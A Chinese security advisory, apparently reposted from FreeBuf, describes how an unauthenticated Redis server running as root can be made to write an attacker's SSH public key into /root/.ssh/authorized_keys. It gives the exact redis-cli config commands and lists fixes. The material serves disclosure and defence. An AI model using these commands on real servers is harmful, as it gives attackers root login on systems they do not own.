频道栏目
首页 > 安全 > 网站安全 > 正文

Redis未授权访问导致可远程获得服务器权限

2015-11-12 10:23:07      个评论    来源:FreeBuf.COM | 关注黑客与极客  
收藏   我要投稿

近日,魔方安全团队监控到针对Redis未授权访问的一种新型攻击方式,在特定条件下,可远程导致服务器沦陷,魔方安全团队及时对该攻击方式进行了研究及威胁评估,并通过魔方矩阵情报系统在第一时间通知了部分用户进行修补,以下是漏洞原理以及复现的过程。

漏洞原理及复现

在复现前,先介绍两个基本所要了解的基础知识:

1) SSH免密码登录,Linux下可以设置SSH免密码登录,方法为使用"公私钥"认证,即首先在客户端上创建一对公私钥 (公钥文件:~/.ssh/id_rsa.pub; 私钥文件:~/.ssh/id_rsa)。然后把公钥放到服务器上(~/.ssh/authorized_keys), 自己保留好私钥.在使用ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配.如果匹配成功就可以登录了。

2) Redis可通过Redis-CLI远程管理,设置Redis的默认路径以及数据库缓存文件。

方法如下:
config set dir /xxx
config set dbfilename xxxx
set xxxx "xxx"
save

上述两种常见的运维方法结合,在以下条件下:

1.Redis服务使用ROOT账号启动

 2.Redis服务无密码认证或者使用的是弱口令进行认证

 3.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

如下图:

首先在本地生成一对密钥:

然后通过redis-clis远程连接到目标redis服务器,执行以下命令

config set dir /root/.ssh/
config set dbfilename authorized_keys

set xxxx "\n\n\nssh-rsa key_pub\n\n\n",其中key_pub为上图生成的公钥,即可将公钥保存在远端服务器,使得登录时不需要输入账号与密码。

目前魔方安全团队已经检测到部分客户的Redis已经因该漏洞被入侵,并在其缓存数据库中发现被写入的公钥,建议用户马上对内部网络进行排查。

漏洞修复

该漏洞的修补方法如下:

1)禁止使用 root 权限启动 redis 服务;

2)对 redis 访问启用密码认证,并且添加 IP 访问限制;

3)尽可能不对公网直接开放 SSH 服务。

相关TAG标签 权限 服务器
上一篇:unserialize() 实战之 vBulletin 5.x.x 远程代码执行
下一篇:muymacho---dyld_root_path漏洞利用解析
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站